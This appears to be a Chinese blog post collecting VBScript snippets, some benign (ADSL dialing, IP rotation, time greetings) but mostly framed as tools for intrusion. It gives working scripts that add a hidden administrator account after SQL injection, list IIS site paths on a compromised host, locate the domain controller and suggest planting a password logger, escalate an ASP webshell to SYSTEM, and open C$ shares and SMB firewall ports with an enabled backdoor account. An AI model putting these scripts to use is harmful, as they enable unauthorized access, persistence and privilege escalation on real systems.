VBS自动连接adsl
- Dim Wsh
- Set Wsh = WScript.CreateObject("WScript.Shell")
- wsh.run "Rasdial 连接名字 账号 密码",false,1
复制代码
VBS自动断开ADSL
- Dim Wsh
- Set Wsh = WScript.CreateObject("WScript.Shell")
- wsh.run "Rasdial /DISCONNECT",false,1
复制代码
VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)
- Dim Wsh
- Set Wsh = WScript.CreateObject("WScript.Shell")
- Set oIE = CreateObject("InternetExplorer.Application")
- for i=1 to 5
- wsh.run "Rasdial /DISCONNECT",false,1
- wsh.run "Rasdial 连接名字 账号 密码",false,1
- oIE.Navigate "http://www.ip138.com/?"&i&""
- Call SynchronizeIE
- oIE.Visible = True
- next
- Sub SynchronizeIE
- On Error Resume Next
- Do While(oIE.Busy)
- WScript.Sleep 3000
- Loop
- End Sub
复制代码
用VBS来加管理员帐号
在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:
- set wsnetwork=CreateObject("WSCRIPT.NETWORK")
- os="WinNT://"&wsnetwork.ComputerName
- Set ob=GetObject(os) '得到adsi接口,绑定
- Set oe=GetObject(os&"/Administrators,group") '属性,admin组
- Set od=ob.Create("user","lcx") '建立用户
- od.SetPassword "123456" '设置密码
- od.SetInfo '保存
- Set of=GetObject(os&"/lcx",user) '得到用户
- oe.add os&"/lcx"
复制代码
这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。
用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:
- Set ObjService=GetObject("IIS://LocalHost/W3SVC")
- For Each obj3w In objservice
- If IsNumeric(obj3w.Name) Then
- sServerName=Obj3w.ServerComment
- Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
- ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
- End If
- Next
- WScript.Echo ListAllWeb
- Set ObjService=Nothing
- WScript.Quit
复制代码
运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?
用VBS快速找到内网域的主服务器
面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group “domain admins” /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:
- set obj=GetObject("LDAP://rootDSE")
- wscript.echo obj.servername
复制代码
只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下:
- set wsh=createobject("wscript.shell") '创建一个wsh对象
- a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中
复制代码
将其保存为vbs的后缀,再上传到服务上,
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了
VBS开启ipc服务和相关设置
- Dim OperationRegistry
- Set OperationRegistry=WScript.CreateObject("WScript.Shell")
- OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
- Set wsh3=wscript.createobject("wscript.shell")
- wsh3.Run "net user helpassistant 123456",0,false
- wsh3.Run "net user helpassistant /active",0,false
- wsh3.Run "net localgroup administrators helpassistant /add",0,false
- wsh3.Run "net start Lanmanworkstation /y",0,false
- wsh3.Run "net start Lanmanserver /y",0,false
- wsh3.Run "net start ipc$",0,True
- wsh3.Run "net share c$=c:",0,false
- wsh3.Run "netsh firewall set notifications disable",0,True
- wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
- wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
- wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
- wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
复制代码
VBS时间判断代码
- Digital=time
- hours=Hour(Digital)
- minutes=Minute(Digital)
- seconds=Second(Digital)
- if (hours<6) then
- dn="凌辰了,还没睡啊?"
- end if
- if (hours>=6) then
- dn="早上好!"
- end if
- if (hours>12) then
- dn="下午好!"
- end if
- if (hours>18) then
- dn="晚上好!"
- end if
- if (hours>22) then
- dn="不早了,夜深了,该睡觉了!"
- end if
- if (minutes<=9) then
- minutes="0" & minutes
- end if
- if (seconds<=9) then
- seconds="0" & seconds
- end if
- ctime=hours & ":" & minutes & ":" & seconds & " " & dn
- Msgbox ctime
复制代码
VBS注册表读写
- Dim OperationRegistry , mynum
- Set OperationRegistry=WScript.CreateObject("WScript.Shell")
- mynum = 9
- mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
- MsgBox("before forceguest = "&mynum)
- OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
- mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
- MsgBox("after forceguest = "&mynum)
复制代码
http://dongbian.blog.51cto.com/2694115/702352 |